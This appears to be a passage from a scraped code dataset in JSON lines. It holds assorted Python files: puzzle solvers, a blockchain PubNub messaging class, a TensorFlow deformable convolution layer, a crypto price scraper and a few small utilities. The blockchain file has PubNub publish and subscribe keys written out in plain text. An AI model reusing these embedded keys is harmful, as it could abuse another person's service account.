print(row)","repo_name":"Kedreamix/fun_spider","sub_path":"02.数据解析/csv存储.py","file_name":"csv存储.py","file_ext":"py","file_size_in_byte":1136,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"18418189712","text":"import operator as op\nimport math\nfrom fractions import Fraction\nimport numpy as np\n\nops = {'+': op.add, '-': op.sub, '*': op.mul}\n\ntest_input = \"\"\"Monkey 0:\n Starting items: 79, 98\n Operation: new = old * 19\n Test: divisible by 23\n If true: throw to monkey 2\n If false: throw to monkey 3\n\nMonkey 1:\n Starting items: 54, 65, 75, 74\n Operation: new = old + 6\n Test: divisible by 19\n If true: throw to monkey 2\n If false: throw to monkey 0\n\nMonkey 2:\n Starting items: 79, 60, 97\n Operation: new = old * old\n Test: divisible by 13\n If true: throw to monkey 1\n If false: throw to monkey 3\n\nMonkey 3:\n Starting items: 74\n Operation: new = old + 3\n Test: divisible by 17\n If true: throw to monkey 0\n If false: throw to monkey 1\"\"\"\n\nday_input = \"\"\"Monkey 0:\n Starting items: 57, 58\n Operation: new = old * 19\n Test: divisible by 7\n If true: throw to monkey 2\n If false: throw to monkey 3\n\nMonkey 1:\n Starting items: 66, 52, 59, 79, 94, 73\n Operation: new = old + 1\n Test: divisible by 19\n If true: throw to monkey 4\n If false: throw to monkey 6\n\nMonkey 2:\n Starting items: 80\n Operation: new = old + 6\n Test: divisible by 5\n If true: throw to monkey 7\n If false: throw to monkey 5\n\nMonkey 3:\n Starting items: 82, 81, 68, 66, 71, 83, 75, 97\n Operation: new = old + 5\n Test: divisible by 11\n If true: throw to monkey 5\n If false: throw to monkey 2\n\nMonkey 4:\n Starting items: 55, 52, 67, 70, 69, 94, 90\n Operation: new = old * old\n Test: divisible by 17\n If true: throw to monkey 0\n If false: throw to monkey 3\n\nMonkey 5:\n Starting items: 69, 85, 89, 91\n Operation: new = old + 7\n Test: divisible by 13\n If true: throw to monkey 1\n If false: throw to monkey 7\n\nMonkey 6:\n Starting items: 75, 53, 73, 52, 75\n Operation: new = old * 7\n Test: divisible by 2\n If true: throw to monkey 0\n If false: throw to monkey 4\n\nMonkey 7:\n Starting items: 94, 60, 79\n Operation: new = old + 2\n Test: divisible by 3\n If true: throw to monkey 1\n If false: throw to monkey 6\n\"\"\"\n\ndata = test_input.split('\\n\\n')\n# data = day_input.split('\\n\\n')\n\nmonkeys = {}\n\nfor details in data:\n \n monkey = details.split('\\n')\n id = int(monkey[0].split()[1].replace(':',''))\n items = [int(i) for i in monkey[1].split(':')[1].split(',')] \n operation = monkey[2].split(':')[1].strip()\n test = int(monkey[3].split(':')[1].split()[2])\n true_result = int(monkey[4].split(':')[1].split()[3])\n false_result = int(monkey[5].split(':')[1].split()[3])\n \n monkeys.update({id:{\n 'items': items,\n 'operation': operation,\n 'test': test,\n 'true_result': true_result, \n 'false_result': false_result,\n 'counter': 0\n }})\n\n \nfor round in range(20):\n for id in monkeys:\n print(f'Processing {id}, round {round}')\n # print(monkeys[id]['items'])\n for i in range(len(monkeys[id]['items'])):\n monkeys[id]['counter'] += 1\n \n worry_level = monkeys[id]['items'].pop()\n \n operation = monkeys[id]['operation'].split()\n if operation[4] == 'old':\n x = worry_level\n else:\n x = int(operation[4])\n\n new_worry_level = ops[operation[3]](worry_level, x)\n not_damaged = np.fix(np.floor_divide(new_worry_level, 3))\n\n if (not_damaged % monkeys[id]['test']) == 0 :\n monkeys[monkeys[id]['true_result']]['items'].append(not_damaged)\n else:\n monkeys[monkeys[id]['false_result']]['items'].append(not_damaged)\n\n\n\n\nprint(sorted([monkeys[monkey]['counter'] for monkey in monkeys], reverse=True))\nx,y = sorted([monkeys[monkey]['counter'] for monkey in monkeys], reverse=True)[:2]\n\nprint(f'Part 1: {x*y}')\n ","repo_name":"Anfer410/AOC","sub_path":"2022/python/day_11/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"3240445939","text":"import mock\n\nfrom base64 import b64encode\n\nfrom changes.lib.artifact_store_mock import ArtifactStoreMock\nfrom changes.models.testartifact import TestArtifact\nfrom changes.testutils.cases import TestCase\n\n\nclass TestTestArtifact(TestCase):\n @mock.patch('changes.storage.artifactstore.ArtifactStoreClient', ArtifactStoreMock)\n def test_content_type(self):\n bucket = 'test_bucket'\n ArtifactStoreMock('').create_bucket(bucket)\n testartifact = TestArtifact(\n name='image.png',\n type='image',\n )\n testartifact.save_base64_content(b64encode('random'), bucket)\n assert testartifact._get_content_type() == 'image/png'\n\n testartifact = TestArtifact(\n name='text.txt',\n type='text',\n )\n testartifact.save_base64_content(b64encode('random'), bucket)\n assert testartifact._get_content_type() == 'text/plain'\n\n testartifact = TestArtifact(\n name='index.html',\n type='html',\n )\n testartifact.save_base64_content(b64encode('random'), bucket)\n assert testartifact._get_content_type() == 'text/plain'\n\n testartifact = TestArtifact(\n name='index.bad_extension',\n type='html',\n )\n testartifact.save_base64_content(b64encode('random'), bucket)\n assert testartifact._get_content_type() is None\n\n testartifact = TestArtifact(\n name='no_extension',\n type='html',\n )\n testartifact.save_base64_content(b64encode('random'), bucket)\n assert testartifact._get_content_type() is None\n","repo_name":"dropbox/changes","sub_path":"tests/changes/models/test_testartifact.py","file_name":"test_testartifact.py","file_ext":"py","file_size_in_byte":1744,"program_lang":"python","lang":"en","doc_type":"code","stars":758,"dataset":"github-code","pt":"72"} +{"seq_id":"8070566898","text":"import math\n\n\nclass Sol:\n def minEatingSpeed(self, piles, h):\n left = 0\n rangeLi = range(1, max(piles)+1)\n right = len(rangeLi)-1\n res = 0\n while left <= right:\n mid = math.ceil((left+right)/2)\n\n eatingSpeed = rangeLi[mid]\n eatingTime = 0\n for i in piles:\n eatingTime += math.ceil(i/eatingSpeed)\n\n if eatingTime <= h:\n right = mid-1\n res = rangeLi[mid]\n else:\n left = mid+1\n return res\n\n\nsln = Sol()\nprint(sln.minEatingSpeed([30, 11, 23, 4, 20], 6))\n","repo_name":"BravesDevs/ds-a","sub_path":"lc/Python/minEatingSpeed.py","file_name":"minEatingSpeed.py","file_ext":"py","file_size_in_byte":621,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"15170918559","text":"def main():\r\n p = 2000000000000\r\n a, k = map(int, input().split())\r\n if k == 0:\r\n print(p - a)\r\n return\r\n d = 0\r\n while a < p:\r\n a += 1 + k * a\r\n d += 1\r\n print(d)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()","repo_name":"Kawser-nerd/CLCDSA","sub_path":"Source Codes/AtCoder/arc057/A/4874510.py","file_name":"4874510.py","file_ext":"py","file_size_in_byte":253,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"72"} +{"seq_id":"27460557650","text":"from pubnub.pubnub import PubNub\nfrom pubnub.pnconfiguration import PNConfiguration \nfrom pubnub.callbacks import SubscribeCallback\nfrom backend.blockchain.block import Block\nfrom backend.wallet.transaction_pool import TransactionPool\nfrom backend.wallet.transactions import Transactions\npnconfig = PNConfiguration()\npnconfig.subscribe_key = 'sub-c-97b26636-ce45-11ea-b3f2-c27cb65b13f4'\npnconfig.publish_key = 'pub-c-15161881-8829-4356-992a-5aeb9a798fa4'\n\nCHANNELS = {\n 'TEST':'TEST',\n 'BLOCK': 'BLOCK',\n 'TRANSACTIONS': 'TRANSACTIONS'\n}\n\nclass Listener(SubscribeCallback):\n \"\"\"\n Override the default listener message method to suit our requirements\n \"\"\"\n def __init__(self, blockchain, transaction_pool):\n self.blockchain = blockchain\n self.transaction_pool = transaction_pool\n\n def message(self, pubnub, message_object):\n print('Message channel: %s | Message object: %s' % (message_object.channel, message_object.message))\n #check if a block was received through the BLOCK channel and then add it to the chaina and then perform replace chain\n if message_object.channel == 'BLOCK':\n block = Block.from_json(message_object.message)\n potential_chain = self.blockchain.chain[:]\n #add received block to the chain\n potential_chain.append(block)\n #perform replace_chain operation\n try:\n self.blockchain.replace_chain(potential_chain)\n #After everytime a block is mined, we need to clear the transaction pool.\n self.transaction_pool.clear_transaction(self.blockchain)\n print(\"Chain replacement was successful\")\n except Exception as e:\n print(\"Chain replacement was not successful: %s\" % (e))\n elif message_object.channel == 'TRANSACTIONS':\n transaction = Transactions.from_json(message_object.message)\n self.transaction_pool.set_transaction(transaction)\n\n\nclass PubSub():\n \"\"\"\n Class to handle publish/subscribe from PubNub.\n Used to communicate between different blockchain peers.\n \"\"\"\n\n def __init__(self, blockchain, transaction_pool):\n #initialize the pubnub object\n self.pubnub = PubNub(pnconfig)\n #subscribe to the channels that we need to listen to and receive data\n self.pubnub.subscribe().channels(CHANNELS.values()).execute()\n #add the listener to listen for incoming block data\n self.pubnub.add_listener(Listener(blockchain, transaction_pool))\n\n def publish(self, message, channel):\n \"\"\"\n Method to publish a message via a channel\n \"\"\"\n self.pubnub.publish().channel(channel).message(message).sync()\n\n def broadcast_block(self, block):\n \"\"\"\n Method to broadcast the block in the form of JSON to all peers.\n \"\"\"\n self.publish(block.to_json(), CHANNELS['BLOCK'])\n\n def broadcast_transaction(self, transaction):\n \"\"\"\n Method to broadcast the block in the form of JSON to all peers.\n \"\"\"\n self.publish(transaction.to_json(), CHANNELS['TRANSACTIONS'])\n\n\n","repo_name":"NishanthMHegde/CompleteBlockchain","sub_path":"backend/pubsub.py","file_name":"pubsub.py","file_ext":"py","file_size_in_byte":3144,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"40240844309","text":"import tensorflow as tf\nimport tensorflow.contrib as tc\n\n\ndef DeformableConv2D(input,\n output_dims,\n kernel_size,\n stride,\n idx,\n saperable=False,\n activation_fn=None,\n normalizer_fn=None,\n normalizer_params=None,\n biases_initializer=None\n ):\n with tf.variable_scope('DeformableConv2D'+'_'+idx, reuse=tf.AUTO_REUSE):\n\n if saperable:\n offsets = tc.layers.separable_conv2d(input, None, 3, 1,\n stride=1,\n activation_fn=tf.nn.relu6,\n normalizer_fn=None, normalizer_params=None,\n rate=1,\n scope='offset_conv_depthwise')\n\n offsets = tc.layers.conv2d(offsets, kernel_size * kernel_size * 2, 1, activation_fn=tf.nn.sigmoid,\n normalizer_fn=None, normalizer_params=None,\n scope='offset_conv_pointwise')\n\n modulation = tc.layers.separable_conv2d(input, None, 3, 1,\n stride=1,\n activation_fn=tf.nn.relu6,\n normalizer_fn=None, normalizer_params=None,\n rate=1,\n scope='weights_conv_depthwise')\n\n modulation = tc.layers.conv2d(modulation, kernel_size * kernel_size, 1, activation_fn=tf.nn.sigmoid,\n normalizer_fn=None, normalizer_params=None,\n scope='weights_conv_pointwise')\n\n\n else:\n offsets = tc.layers.conv2d(input,\n kernel_size*kernel_size*2,\n kernel_size,\n stride=stride,\n activation_fn=None,\n normalizer_fn=normalizer_fn,\n normalizer_params=normalizer_params,\n scope='offset_conv')\n\n modulation = tc.layers.conv2d(input,\n kernel_size*kernel_size,\n kernel_size,\n stride=stride,\n activation_fn=tf.nn.sigmoid,\n normalizer_fn=normalizer_fn,\n normalizer_params=normalizer_params,\n scope='weights_conv')\n\n\n input_shape = tf.shape(input)\n\n # [b, h, w, 2c] -> [b*c, h, w, 2]\n offsets = tf.transpose(offsets, [0, 3, 1, 2])\n offsets = tf.reshape(offsets, [offsets.shape[0], -1, 2, offsets.shape[2], offsets.shape[3]])\n offsets = tf.transpose(offsets, [0, 1, 3, 4, 2])\n offsets = tf.reshape(offsets, [-1, offsets.shape[2], offsets.shape[3], 2])\n\n # [b, h, w, c] -> [b*c, h, w]\n modulation = tf.transpose(modulation, [0, 3, 1, 2])\n modulation = tf.reshape(modulation, [-1, modulation.shape[2], modulation.shape[3]])\n grid_t = tf.reshape(tf.range(input_shape[1]), [-1, 1])\n grid_l = tf.reshape(tf.range(input_shape[2]), [1, -1])\n grid_b = tf.reshape(tf.range(input_shape[0]), [-1,1, 1, 1, 1])\n grid_bk = tf.tile(grid_b, [1,kernel_size * kernel_size, 1, 1, 1])\n grid_bk = tf.reshape(grid_bk, [-1,1,1, 1])\n\n grid_t = tf.tile(grid_t, [1, input_shape[2]])\n grid_l = tf.tile(grid_l, [input_shape[1], 1])\n grid_tl = tf.stack([grid_t, grid_l], axis=-1)\n grid_tl = tf.tile(tf.expand_dims(grid_tl, axis=0), [offsets.shape[0], 1, 1, 1])\n\n coordi_yx = tf.cast(grid_tl, dtype=tf.float32) + offsets\n coordi_y_clip = tf.clip_by_value(coordi_yx[..., 0],\n clip_value_min=0.,\n clip_value_max=tf.cast(input_shape[1], dtype=tf.float32) - 1.)\n coordi_x_clip = tf.clip_by_value(coordi_yx[..., 1],\n clip_value_min=0.,\n clip_value_max=tf.cast(input_shape[2], dtype=tf.float32) - 1.)\n coordi_yx = tf.stack([coordi_y_clip, coordi_x_clip], axis=-1)\n grid_bk = tf.cast(tf.tile(grid_bk, [1, input_shape[1], input_shape[2], 1]), dtype=tf.float32)\n coordi_bkyx = tf.concat([grid_bk, coordi_yx], axis=-1)\n\n coordi_bktl = tf.cast(tf.floor(coordi_bkyx), dtype=tf.int32)\n coordi_bktl = tf.reshape(coordi_bktl, [-1, 3])\n cell = tf.reshape(tf.convert_to_tensor([0, 0, 1]), [1, -1])\n cell_tile1 = tf.tile(cell, [coordi_bktl.shape[0], 1])\n cell2 = tf.reshape(tf.convert_to_tensor([0, 1, 0]), [1, -1])\n cell_tile2 = tf.tile(cell2, [coordi_bktl.shape[0], 1])\n coordi_bktr = coordi_bktl + cell_tile1\n coordi_bkbl = coordi_bktl + cell_tile2\n coordi_bkbr = coordi_bktl + cell_tile1 + cell_tile2\n\n var_bktlc = tf.gather_nd(input, coordi_bktl) ###\n var_tl = tf.reshape(var_bktlc, [input_shape[0] * kernel_size * kernel_size,\n input_shape[1],\n input_shape[2],\n input_shape[3]])\n\n # [batch, kernel*kernel, top, right, channel]\n var_bktrc = tf.gather_nd(input, coordi_bktr) ###\n var_tr = tf.reshape(var_bktrc, [input_shape[0] * kernel_size * kernel_size,\n input_shape[1],\n input_shape[2],\n input_shape[3]])\n\n # [batch, kernel*kernel, bottom, left, channel]\n var_bkblc = tf.gather_nd(input, coordi_bkbl) ###\n var_bl = tf.reshape(var_bkblc, [input_shape[0] * kernel_size * kernel_size,\n input_shape[1],\n input_shape[2],\n input_shape[3]])\n\n # [batch, kernel*kernel, bottom, right, channel]\n var_bkbrc = tf.gather_nd(input, coordi_bkbr) ###\n var_br = tf.reshape(var_bkbrc, [input_shape[0] * kernel_size * kernel_size,\n input_shape[1],\n input_shape[2],\n input_shape[3]])\n\n offset_y = tf.expand_dims(coordi_yx[..., 0] - tf.floor(coordi_yx[..., 0]), axis=-1)\n offset_x = tf.expand_dims(coordi_yx[..., 1] - tf.floor(coordi_yx[..., 1]), axis=-1)\n\n offset_y = tf.tile(offset_y, [1, 1, 1, input_shape[3]])\n offset_x = tf.tile(offset_x, [1, 1, 1, input_shape[3]])\n\n var_top = var_tl + (var_tr - var_tl) * offset_x\n var_bottom = var_bl + (var_br - var_bl) * offset_x\n var_final = var_top + (var_bottom - var_top) * offset_y\n\n modulation = tf.expand_dims(modulation, axis=-1) ###\n var_final = var_final * modulation ###\n\n var_final = tf.reshape(var_final,\n [input_shape[0], kernel_size,kernel_size, input_shape[1], input_shape[2],\n input_shape[3]])\n var_final = tf.transpose(var_final, [0, 3, 1, 4, 2, 5])\n\n var_final = tf.reshape(var_final,\n [input_shape[0], kernel_size * input_shape[1], kernel_size * input_shape[2],\n input_shape[3]])\n\n if saperable:\n var_final = tc.layers.separable_conv2d(var_final, None, kernel_size, 1,\n stride=kernel_size,\n activation_fn=tf.nn.relu6,\n normalizer_fn=normalizer_fn,\n normalizer_params=normalizer_params,\n padding='VALID',\n rate=1,\n scope='output_conv_depthwise')\n\n var_final = tc.layers.conv2d(var_final, output_dims, 1,\n activation_fn=tf.nn.relu6,\n normalizer_fn=normalizer_fn,\n normalizer_params=normalizer_params,\n scope='output_conv_pointwise')\n\n else:\n var_final = tc.layers.conv2d(var_final,\n output_dims,\n kernel_size,\n stride=kernel_size,\n padding='VALID',\n activation_fn=activation_fn,\n normalizer_fn=normalizer_fn,\n biases_initializer=biases_initializer,\n normalizer_params=normalizer_params,\n scope='output_conv')\n\n return var_final\n","repo_name":"wi-ith/deformable_conv_V2","sub_path":"dcnV2.py","file_name":"dcnV2.py","file_ext":"py","file_size_in_byte":9541,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"12221244965","text":"import pandas\nimport requests\n\nimport crayons\nfrom pyquery import PyQuery as pq\n\nimport time\nfrom collections import OrderedDict\nfrom decimal import Decimal\n\nurl = 'https://coinmarketcap.com/currencies/views/all/'\nsession = requests.Session()\n\n\nclass MWT(object):\n \"\"\"Memoize With Timeout\"\"\"\n _caches = {}\n _timeouts = {}\n\n def __init__(self, timeout=2):\n self.timeout = timeout\n\n def collect(self):\n \"\"\"Clear cache of results which have timed out\"\"\"\n for func in self._caches:\n cache = {}\n for key in self._caches[func]:\n if (time.time() - self._caches[func][key][1]) < self._timeouts[func]:\n cache[key] = self._caches[func][key]\n self._caches[func] = cache\n\n def __call__(self, f):\n self.cache = self._caches[f] = {}\n self._timeouts[f] = self.timeout\n\n def func(*args, **kwargs):\n kw = sorted(kwargs.items())\n key = (args, tuple(kw))\n try:\n v = self.cache[key]\n if (time.time() - v[1]) > self.timeout:\n raise KeyError\n except KeyError:\n v = self.cache[key] = f(*args, **kwargs), time.time()\n return v[0]\n func.func_name = f.__name__\n\n return func\n\n\ndef convert_to_decimal(f):\n return Decimal(\"{0:.8f}\".format(f))\n\n\nclass Coin():\n \"\"\"A Coin, unlike Mario's.\"\"\"\n\n def __init__(self, ticker):\n self.ticker = ticker\n self.name = None\n self.rank = None\n self._value = None\n\n self.update()\n\n def update(self):\n coins = get_coins()\n print(f'Fetching data on {crayons.cyan(self.ticker)}...')\n\n self.name = coins[self.ticker]['name']\n self.rank = coins[self.ticker]['rank']\n self._usd = coins[self.ticker]['usd']\n\n @property\n def usd(self):\n return self._usd\n\n @property\n def btc(self):\n coins = get_coins()\n rate = coins['btc']['usd']\n return convert_to_decimal(self.usd / rate)\n\n def value(self, coin):\n \"\"\"Example: BTC -> ETH\"\"\"\n return convert_to_decimal(self.btc / Coin(coin).btc)\n\n def __repr__(self):\n return f''\n\n\n@MWT(timeout=300)\ndef get_coins():\n coins_db = OrderedDict()\n\n print(crayons.yellow('Scraping CoinMaketCap...'))\n\n r = session.get(url)\n html = pq(pq(r.content)('table')[0]).html()\n df = pandas.read_html(\"{}
\".format(html))\n df = pandas.concat(df)\n\n btc_value = float(df.to_dict()['Price'][0][1:].replace(',', ''))\n\n for row in df.itertuples():\n\n rank = int(row[1])\n name = ' '.join(row[2].split()[1:])\n ticker = row[3].lower()\n try:\n usd = float(row[5][1:].replace(',', ''))\n except ValueError:\n usd = 0\n finally:\n pass\n\n btc = convert_to_decimal(usd / btc_value)\n\n coins_db.update({ticker: {'rank': rank, 'name': name, 'ticker': ticker, 'usd': usd, 'btc': btc}})\n\n return coins_db\n\n\ndef get_coin(ticker):\n return Coin(ticker)\n\t\nif __name__ == '__main__':\n\tprint(get_coins())\n","repo_name":"kennethreitz/coinbin.org","sub_path":"scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":3163,"program_lang":"python","lang":"en","doc_type":"code","stars":254,"dataset":"github-code","pt":"72"} +{"seq_id":"43085941728","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution:\n def isSymmetric(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: bool\n \"\"\"\n left = []\n right = []\n self.leftFirst(root, left)\n self.rightFirst(root, right)\n \n# print(\"Left values are\")\n# for v in left:\n# print(\"v: \", v)\n \n# print(\"right values are\")\n# for v in right:\n# print(\"v: \", v)\n\n for i, v in enumerate(left):\n if left[i] != right[i]:\n return False\n \n return True\n\n\n def leftFirst(self, root, l):\n if root:\n # print(\"leftFirst: appending the value,\", root.val)\n l.append(root.val)\n self.leftFirst(root.left,l)\n self.leftFirst(root.right,l)\n else:\n l.append(-1)\n \n def rightFirst(self, root, l):\n if root:\n # print(\"rightFirst: appending the value,\", root.val)\n l.append(root.val)\n self.rightFirst(root.right,l)\n self.rightFirst(root.left, l)\n else:\n l.append(-1)","repo_name":"grebwerd/python","sub_path":"practice/practice_problems/isSymmetric.py","file_name":"isSymmetric.py","file_ext":"py","file_size_in_byte":1288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"4112656831","text":"# -*- coding: utf-8 -*-\n\n# Static functions\ndef isValidName(name):\n name = str(name).lower()\n for c in name:\n # Numeric characters check\n if c.isalnum():\n continue\n \n # Alpha characters (simple set only)\n if c >= 'a' and c <= 'z':\n continue\n \n if c in ['_', '-', '.']:\n continue\n \n return False\n \n return True\n\nclass Verbosity:\n NONE=0\n NORMAL=1\n HIGH=2\n\nclass Severity:\n INFO=0\n WARNING=1\n ERROR=2\n SUCCESS=3\n\nclass KLCRuleBase(object):\n \"\"\"\n A base class to represent a KLC rule\n \"\"\"\n\n verbosity = 0\n \n def __init__(self, name, description):\n self.name = name\n self.description = description\n self.messageBuffer = []\n\n #adds message into buffer only if such level of verbosity is wanted\n def verboseOut(self, msgVerbosity, severity, message):\n self.messageBuffer.append([message,msgVerbosity,severity])\n \n def warning(self, msg):\n self.verboseOut(Verbosity.NORMAL, Severity.WARNING, msg)\n\n def warningExtra(self, msg):\n self.verboseOut(Verbosity.HIGH, Severity.WARNING, \" - \" + msg)\n \n def error(self, msg):\n self.verboseOut(Verbosity.NORMAL, Severity.ERROR, msg)\n \n def errorExtra(self, msg):\n self.verboseOut(Verbosity.HIGH, Severity.ERROR, \" - \" + msg)\n \n def info(self, msg):\n self.verboseOut(Verbosity.NONE, Severity.INFO, \"> \" + msg)\n \n def success(self, msg):\n self.verboseOut(Verbosity.NORMAL, Severity.SUCCESS, msg)\n \n def check(self, component):\n raise NotImplementedError('The check method must be implemented')\n\n def fix(self, component):\n raise NotImplementedError('The fix method must be implemented')\n\n def recheck(self):\n if self.check():\n self.error(\"Could not be fixed\")\n else:\n self.success(\"Everything fixed\")\n \n def hasOutput(self):\n return len(self.messageBuffer) > 0\n \n def processOutput(self, printer, verbosity=Verbosity.NONE, silent=False):\n \n if not verbosity:\n verbosity = 0\n else:\n verbosity = int(verbosity)\n\n # No violations\n if len(self.messageBuffer) == 0:\n return False\n\n if verbosity > 0:\n printer.light_blue(self.description, indentation=4, max_width=100)\n \n for message in self.messageBuffer:\n v = message[1] # Verbosity\n s = message[2] # Severity\n msg = message[0]\n \n if v <= verbosity:\n if s == 0:\n printer.gray(msg, indentation = 4)\n elif s == 1:\n printer.brown(msg, indentation = 4)\n elif s == 2:\n printer.red(msg, indentation = 4)\n elif s == 3:\n printer.green(msg, indentation = 4)\n else:\n printer.red(\"unknown severity: \" + msg, indentation=4)\n \n # Clear message buffer\n self.messageBuffer = []\n return True\n","repo_name":"bobc/kicad-symgen","sub_path":"symgen/common/rulebase.py","file_name":"rulebase.py","file_ext":"py","file_size_in_byte":3219,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"72"} +{"seq_id":"17197766488","text":"'''\n#传递参数时候不要使用列表\ndef foo(num,age=[]):\n\tage.append(num)\n\tprint(\"num\",num)\n\treturn age\nprint(foo(1))\nprint(foo(2))\nprint(foo(3))\n\n\n#参数的时候默认都是给定 None,然后根据对象判断是否为空,如果为空再去定义成列表\ndef foo(num, age=None):\n #if not age:\n if age is None:\n age = []\n age.append(num)\n print(\"num\", num)\n return age\nprint(foo(1))\nprint(foo(2))\nprint(foo(3))\n\n\n#在一般领域,对正整数 n,如果用 2 到根号 N 之间的所有整数去除,均无法整除,则 n 为质数又叫素数。\nimport math\n\nnum = [] #存放 1-100 之间的素数\nfor i in range(2, 100):\n for j in range(2, int(math.sqrt(i)) + 1):\n if i % j == 0:\n break\n else:\n num.append(i) #根据定义如果都无法正常才加入\nfor index, i in enumerate(num):\n if index == len(num) - 1:\n print(i)\n else:\n print(i, end=\" \")\n\n\n\n\n\nL = [8,2,50,3]\n#print(L[-1])\nprint(L[1], L[-1], L[0], L[-2])\n#升序\nprint(sorted(L))\nprint(L)\n\n'''\naList = ['Google', 'Runoob', 'Taobao', 'Facebook']\naList.sort()\nprint (aList)\n\naList.reverse()\nprint(aList)\n\n'''\n\nstr = \"-\"; \n#字符串用-分割\nseq = (\"a\", \"b\", \"c\");\n # 字符串序列\nprint (str.join(seq))\n'''\n\na={1:1,2:2,3:3}\n#b=[]\n#for c in a:\n#\tb.append(c)\n#print(b)\n\n#print(list(a.keys()))\n\n\nb=list(a.keys())\n\nc=[]\nfor m in b:\n if str(m).isdigit(): ##检测是否数字\n c.append(m)\nc.sort()\nprint (','.join(str(n) for n in c))\n\nfruits = ['apple', 'oranges', 'pears', 'apricots']\nfor i in fruits:\n\tprint(i)\n\ne = []\nfor i in range(0, 6):\n\tprint(i)\n\te.append(i)\nfor i in e:\n\tprint(i)\n\nprint(hash('abc'))\n\n##斐波那契数列\na, b = 0, 1\nwhile b < 10000:\n\tprint(b , end = ',')\n\ta, b = b, a + b\nprint()","repo_name":"karinbaka/python3","sub_path":"test/list.py","file_name":"list.py","file_ext":"py","file_size_in_byte":1765,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"36546309537","text":"import logging\n\n\nclass Queue:\n\n def __init__(self):\n self.arr = []\n self.arrTemp = []\n self.max = 100\n self.top = -1\n\n def push(self, value):\n\n # Overflow check\n if self.top == self.max - 1:\n logging.info(\"Stack Overflowing\")\n return False\n\n # If stack has already some values\n if self.arr:\n\n # Push all data to second stack\n while self.arr:\n self.arrTemp.append(self.arr.pop(0))\n\n # Push new value\n self.arr.append(value)\n\n # push back all value to original stack\n while self.arrTemp:\n self.arr.append(self.arrTemp.pop(0))\n\n return True\n\n # If stack is empty\n # just append it to original stack\n else:\n\n self.arr.append(value)\n return True\n\n def pop(self):\n\n return self.arr.pop(0)\n\n def __str__(self):\n\n prntQueue = \"\"\n\n for element in reversed(self.arr):\n prntQueue += str(element)\n\n return prntQueue\n\n\nif __name__ == '__main__':\n q = Queue()\n q.push(1)\n q.push(2)\n q.push(3)\n print(\"1. Current Queue is {}\".format(\n q\n ))\n\n print(\"2. Popping Queue element {}\".format(\n q.pop()\n ))\n\n print(\"3. Popping Queue element {}\".format(\n q.pop()\n ))\n\n print(\"4. Popping Queue element {}\".format(\n q.pop()\n ))\n\n\n\n","repo_name":"sakshamratra0106/PracticeProblems","sub_path":"DSAPracticeSheets/Queue/3Implementqueueusingstacks.py","file_name":"3Implementqueueusingstacks.py","file_ext":"py","file_size_in_byte":1449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"2303669579","text":"#!/usr/bin/env python\n\nimport rospy\n\nfrom dynamic_reconfigure.server import Server\nfrom my_dyn_rec.cfg import MyParamsConfig\n\ndef callback(config, level):\n rospy.loginfo(\"\"\"Reconfigure Request: {int_param}, {freq_param}, {bool_param}, {size}\"\"\".format(**config))\n return config\n\nif __name__ == \"__main__\":\n rospy.init_node(\"dynamic_server\", anonymous = False)\n\n srv = Server(MyParamsConfig, callback)\n rospy.spin()\n","repo_name":"SaitamaGod/master_project","sub_path":"src/my_dyn_rec/nodes/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"18628994351","text":"from models import *\n\ndef msgproc(request):\n \"A context processor that provides access to a list of messages\"\n \n if not request.user.is_anonymous():\n um = AlertRecepient.objects.filter(recepient=request.user, read='0') \n unreadmsg = sorted(um, key=lambda n: (-(n.alert.date.year), -(n.alert.date.month), -(n.alert.date.day)))\n rm = AlertRecepient.objects.filter(recepient=request.user, read='1')\n readmsg = sorted(rm, key=lambda n: (-(n.alert.date.year), -(n.alert.date.month), -(n.alert.date.day)))\n alerts = Alert.objects.filter(author=request.user)\n studies = [x.study for x in StudyInvestigator.objects.filter(investigator=request.user)] \n investigator = False\n if StudyInvestigator.objects.filter(investigator=request.user).count() > 0:\n investigator = True\n return {\n 'unreadmsg': unreadmsg,\n 'readmsg': readmsg,\n 'alerts': alerts,\n 'studies': studies, #use study.participants to get at list of participants\n 'investigator': investigator\n }\n else:\n return {}\n","repo_name":"vpandeliev/Evaluation-Portal","sub_path":"portal/studies/context_processors.py","file_name":"context_processors.py","file_ext":"py","file_size_in_byte":1106,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"} +{"seq_id":"18682589995","text":"import os\nfrom pyteomics import pepxml\nfrom pyteomics import mgf\n\n\nclass MgfSeperator(object):\n def __init__(self, pathXml, pathMgf, scoreCutoff):\n self.pathXml = pathXml\n self.pathMgf = pathMgf\n self.file_name = os.path.splitext(os.path.basename(pathMgf))[0]\n self.goodBadUgly = {'good': [], 'bad': []}\n self.goodSpectraCriteria = scoreCutoff\n\n def getInfoFromPepXml(self):\n count_good = 0\n count_bad = 0\n with pepxml.read(self.pathXml) as psms:\n for psm in psms:\n if 'search_hit' in psm:\n score = psm['search_hit'][0]['search_score']['ionscore']\n if score > self.goodSpectraCriteria:\n count_good += 1\n self.goodBadUgly['good'].append(psm['spectrum'])\n else:\n count_bad += 1\n self.goodBadUgly['bad'].append(psm['spectrum'])\n else:\n count_bad += 1\n 